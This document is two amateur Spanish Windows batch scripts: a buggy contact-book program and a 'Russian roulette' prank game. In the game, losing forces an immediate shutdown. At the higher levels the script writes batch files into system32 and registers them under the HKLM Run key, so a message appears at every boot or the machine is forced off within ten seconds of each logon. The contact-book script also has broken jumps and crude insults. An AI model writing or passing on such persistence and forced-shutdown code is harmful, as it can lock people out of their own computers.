@echo off
title Agenda
color 0c
md c:\agenda
cd c:\agenda
:start
cls
echo ============================
echo Bienvenido a la Agenda Numa
echo ============================
echo.
echo Que desea hacer?
echo.
echo 1 --- Agregar contacto
echo 2 --- Abrir contacto
echo 3 --- Eliminar contacto
echo 4 --- Salir de la agenda
echo 5 --- Eliminar la agenda de mi pc
set opc=
set /p opc=
if "%opc%"=="" goto error
if %opc%==1 goto agregar
if %opc%==2 goto abrir
if %opc%==3 goto eliminar
if %opc%==4 goto salir
if %opc%==5 (goto delagenda) else goto error
:error
cls
echo ERROR !!!
echo.
echo. Presione cualquier tecla para intentarlo otra vez
pause > nul
goto start
:agregar
cls
echo =================
echo Agregar contacto
echo =================
echo.
echo Escriba el nombre corto (nick) del nuevo contacto:
set /p nick=
set respuesta=
echo.
echo Esta seguro que quiere guardar a %nick% como contacto? s/n
set /p respuesta=
if "%respuesta%"=="" goto error2
if %respuesta%==s goto aceptar
if %respuesta%==n (goto 111) else goto error2
:111
cls
echo Bueno, ten mas cuidado la proxima vez
echo.
echo Pulsa cualquier tecla para intentarlo otra vez
pause > nul
goto agregar
:error2
cls
echo ERROR !!!
echo.
echo. Presione cualquier tecla para intentarlo otra vez
pause > nul
goto agregar
:aceptar
cls
echo cls > %nick%.txt
echo Guardando contacto. El proceso puede tardar unos segundos...
echo Proceso --- (33) ---
ping 127.0.0.1 -n 3 > nul&goto sig
:sig
cls
echo Guardando contacto. El proceso puede tardar unos segundos...
echo Proceso --- --- (66) --- ---
ping 127.0.0.1 -n 3 > nul&goto sig2
:sig2
cls
echo Guardando contacto. El proceso puede tardar unos segundos...
echo Proceso --- --- --- (99) --- --- ---
ping 127.0.0.1 -n 3 > nul&goto fin
:fin
cls
echo Proceso finalizado
echo Contacto guardado satisfactoriam ente
echo.
echo Espere un momento por favor...
ping 127.0.0.1 -n 7 > nul&goto 01
:01
cls
echo NOTA: En el caso de que no sepas un dato escribe la palabra (vacio)
echo Ingresa los siguientes datos:
set /p nom=Nombres:
set /p ape=Apellidos:
set /p edad=Edad:
set /p tel=Telefono:
set /p mail=E-mail:
echo.
set res=
echo Esta seguro que desea guardar esos datos de %nick%? s/n
set /p res=
if "%res%"=="" goto error3
if %res%==s goto aceptar2
if %res%==n (goto 000) else goto error3
:error3
cls
echo ERROR !!!
echo.
echo. Presione cualquier tecla para intentarlo otra vez
pause > nul
goto 01
:000
cls
echo Bueno, ten mas cuidado la proxima vez
echo.
echo Pulsa cualquier tecla para intentarlo otra vez
pause > nul
goto 01
:aceptar2
cls
echo Nombres: %nom% > %nick%.txt
echo Apellido: %ape% >> %nick%.txt
echo Edad: %edad% >> %nick%.txt
echo Telefono: %tel% >> %nick%.txt
echo E-mail: %mail% >> %nick%.txt
echo Se estan guardando los datos del contacto. El proceso puede tardar unos segundos...
echo Proceso --- (33) ---
ping 127.0.0.1 -n 3 > nul&goto sig0
:sig0
cls
echo Se estan guardando los datos del contacto. El proceso puede tardar unos segundos...
echo Proceso --- --- (66) --- ---
ping 127.0.0.1 -n 3 > nul&goto sig02
:sig02
cls
echo Se estan guardando los datos del contacto. El proceso puede tardar unos segundos...
echo Proceso --- --- --- (99) --- --- ---
ping 127.0.0.1 -n 3 > nul&goto fin0
:fin0
cls
echo Proceso finalizado
echo Datos guardados satisfactoriam ente
echo.
echo Espere un momento por favor...
ping 127.0.0.1 -n 7 > nul&goto start
:abrir
cls
echo ===============
echo Abrir contacto
echo ===============
echo.
echo Escriba el nombre corto (nick) del contacto:
set /p nick1=
if exist %nick1%.txt goto abrir1
if not exist %nick1%txt echo El contacto no existe, presione cualquier tecla para intentarlo de nuevo&pause > nul&goto abrir
:abrir1
cls
echo %nick1%:
echo.
more %nick1%.txt
echo.
echo.
echo Presiona cualquier tecla para volver al menu principal
pause > nul
goto start
:eliminar
cls
echo =================
echo Eliminar contacto
echo =================
echo.
echo Escriba el nombre corto (nick) del contacto que desea eliminar:
set /p del=
set rta=
echo.
cls
echo PRECAUCION !!!
echo.
echo Esta seguro que desea eliminar a %del% y todos sus datos? s/n
set /p rta=
if "%rta%"=="" goto error4
if %rta%==s goto borrar
if %rta%==n (goto 0000) else goto error4
:error4
cls
echo ERROR !!!
echo.
echo. Presione cualquier tecla para intentarlo otra vez
pause > nul
goto eliminar
:0000
cls
echo Bueno, ten mas cuidado la proxima vez
echo.
echo Pulsa cualquier tecla para intentarlo otra vez
pause > nul
goto eliminar
:borrar
cls
del %del%.txt
echo Se esta borrando el contacto %del%. El proceso puede tardar unos segundos...
echo Proceso --- (33) ---
ping 127.0.0.1 -n 3 > nul&goto sig01
:sig01
cls
echo Se esta borrando el contacto %del%. El proceso puede tardar unos segundos...
echo Proceso --- --- (66) --- ---
ping 127.0.0.1 -n 3 > nul&goto sig021
:sig021
cls
echo Se esta borrando el contacto %del%. El proceso puede tardar unos segundos...
echo Proceso --- --- --- (99) --- --- ---
ping 127.0.0.1 -n 3 > nul&goto fin01
:fin01
cls
echo Proceso finalizado
echo El contacto %del% se ha borrado satisfactoriam ente
echo.
echo Espere un momento por favor...
ping 127.0.0.1 -n 7 > nul&goto start
:delagenda
cls
rd c:\agenda
echo ME MUEROOO
ping 127.0.0.1 -n 2 > nul&sig11
:sig11
cls
echo me muerooo
ping 127.0.0.1 -n 2 > nul&sig22
:22
cls
echo ... ..........
ping 127.0.0.1 -n 2 > nul&out
:out
cls
echo Se ha borrado la Agenda de Numa del directorio "c:\"
ping 127.0.0.1 -n 4 > nul&out2
:out2
cls
echo FUCK YOU !!!
ping 127.0.0.1 -n 3 > nul&goto start
:salir
cls
echo Espero haberte servido de algo
echo.
echo Presiona cualquier tecla para salir.
pause > nul
exit
Ruleta rusa:
@echo off
cls
title Ruleta rusa por (NumaH)
color 30
:start
cls
echo Hola, te comento que esto es una ruleta rusa en batch:
echo.
echo Reglas: 6 posibilidades. 1 es la incorrecta.
echo En caso de elegir la incorrecta se aplicara la pena.
echo.
echo.
echo Es simple. Quieres jugar? s/n
set rta1=
set /p rta1=
if "%rta1%"=="" goto error1
if %rta1%==s goto sig1
if %rta1%==n (goto no1) else goto error1
:error1
cls
echo ERROR !!! No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto start
:no1
cls
echo Respeto tu decision, es un juego peligroso hasta la proxima..
echo.
echo Presiona cualquier tecla para salir
pause > nul
exit
:sig1
cls
echo Muy bien. Estos son los niveles de riesgo:
echo.
echo 1 --- Nivel principiante
echo 2 --- Nivel medio
echo 3 --- Nivel avanzado
echo.
echo Elije uno y te dara detalles del juego antes de comenzar
set rta2=
set /p rta2=
if "%rta2%"=="" goto error2
if %rta2%==1 goto nw
if %rta2%==2 goto ama
if %rta2%==3 (goto pro) else goto error2
:error2
cls
echo ERROR !!! No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto sig1
:nw
cls
echo Bien, por este nivel empiezan los primeros.
echo Consecuencias:
echo Si llegas a elegir la opcion falsa tu maquina se apagara.
echo.
echo Quieres jugar? s/n
set rta3=
set /p rta3=
if "%rta3%"=="" goto error3
if %rta3%==s goto sig3
if %rta3%==n (goto no3) else error3
:error3
cls
echo ERROR !!! No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto nw
:no3
cls
echo Esta bien. Esto no es para ti
echo.
echo Presiona cualquier tecla para salir
pause > nul
exit
:sig3
cls
echo Elige un numero entre 1 y 6
echo.
set nw1=
set /p nw1=
if "%nw1%"=="" goto errornw
if %nw1%==4 goto lose
if %nw1%==1 goto win
if %nw1%==2 goto win
if %nw1%==3 goto win
if %nw1%==5 goto win
if %nw1%==6 (goto win) goto errornw
:errornw
cls
echo ERROR !!! No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto sig3
:win
cls
echo Bien te has salvado.
echo Pasa al nivel MEDIO si quieres mas adrenalina
echo.
echo Presiona cualquier tecla para volver al menu principal
pause > nul
goto start
:lose
cls
shutdown -s -f -t 5 -c "Que mala suerte eh"
exit
:ama
cls
echo Bien, veo que eres algo curioso
echo Consecuencias:
echo Si llegas a elegir la opcion falsa siempre que inicies
echo tu pc, te saldra un cartelito que diga:
echo "Gracias por jugar a Ruleta rusa por (NumaH)"
echo.
echo Quieres jugar? s/n
set rta4=
set /p rta4=
if "%rta4%"=="" goto error4
if %rta4%==s goto sig4
if %rta4%==n (goto no4) else error4
:error4
cls
echo ERROR !!! No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto ama
:no4
cls
echo Te comprendo es bastante molesto el cartel
echo Pero hay que arriesgarse en la vida alguna vez
echo.
echo
echo Presiona cualquier tecla para salir
pause > nul
exit
:sig4
cls
echo Elige un numero entre 1 y 6
echo.
set ama1=
set /p ama1=
if "%ama1%"=="" goto errorama
if %ama1%==2 goto loseama
if %ama1%==1 goto winama
if %ama1%==4 goto winama
if %ama1%==3 goto winama
if %ama1%==5 goto winama
if %ama1%==6 (goto winama) goto errorama
:errorama
cls
echo ERROR !!! No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto sig4
:winama
cls
echo Bien te has salvado.
echo Pasa al nivel AVANZADO si quieres mas adrenalina
echo.
echo Presiona cualquier tecla para volver al menu principal
pause > nul
goto start
:loseama
cls
echo La verdad que tienes mala suerte
echo @echo off > %windir%\system32\cartel.bat
echo cls >> %windir%\system32\cartel.bat
echo msg * "Gracias por jugar a Ruleta rusa por (NumaH)" >> %windir%\system32\cartel.bat
echo exit >> %windir%\system32\cartel.bat
reg add "hklm\software\microsoft\windows\currentversion\run" /v Cartel /d %windir%\system32\cartel.bat /f
echo Tendras que soportar el cartel hasta que descubras como se quita
echo Presiona cualquier tecla para salir y empezar a buscar la solucion
pause > nul
start www.google.com .ar&exit
:pro
cls
echo VALIENTE este es el nivel de mayor riesgo
echo Consecuencias:
echo Si llegas a elegir la opcion falsa se apagara
echo tu pc y no podras tenerla encendida mas de
echo 10 segundos en tus proximos inicios de sesion
echo.
echo Realmente quieres jugar? s/n
set rta5=
set /p rta5=
if "%rta5%"=="" goto error5
if %rta5%==s goto sig5
if %rta5%==n (goto no5) else error5
:error5
cls
echo ERROR !!! No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto pro
:no5
cls
echo Comprendo que es bastante riesgoso
echo Bueno, hasta la proxima entonces
echo.
echo Presiona cualquier tecla para salir
pause > nul
exit
:sig5
cls
echo A ti si que te gusta estar en el limite !!!
echo.
echo Elige un numero entre 1 y 6
echo.
set pro1=
set /p pro1=
if "%pro1%"=="" goto errorpro
if %pro1%==3 goto losepro
if %pro1%==1 goto winpro
if %pro1%==4 goto winpro
if %pro1%==2 goto winpro
if %pro1%==5 goto winpro
if %pro1%==6 (goto winpro) goto errorpro
:errorpro
cls
echo ERROR !!! No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto sig5
:winpro
cls
echo Sientete aliviado, TE HAS SALVADO
echo.
echo Presiona cualquier tecla para salir
pause > nul
exit
:losepro
cls
echo Siento pena por ti : (
echo @echo off > %windir%\system32\malo.bat
echo cls >> %windir%\system32\malo.bat
echo shutdown -s -f -t 10 -c "TU HAS ELEGIDO ESTO" >> %windir%\system32\malo.bat
echo exit >> %windir%\system32\malo.bat
reg add "hklm\software\microsoft\windows\currentversion\run" /v Fucker /d %windir%\system32\malo.bat /f
shutdown -s -f -t 3 -c "Lo lamento..."
exit